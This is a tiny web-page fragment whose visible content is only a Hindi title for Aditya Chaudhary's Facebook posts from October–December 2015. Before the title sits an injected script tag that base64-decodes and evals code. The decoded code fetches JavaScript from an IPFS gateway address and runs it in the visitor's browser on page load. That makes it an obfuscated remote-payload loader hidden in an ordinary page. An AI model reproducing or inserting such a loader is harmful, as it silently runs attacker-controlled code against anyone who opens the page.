<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

आदित्य चौधरी -फ़ेसबुक पोस्ट अक्टूबर-दिसम्बर 2015

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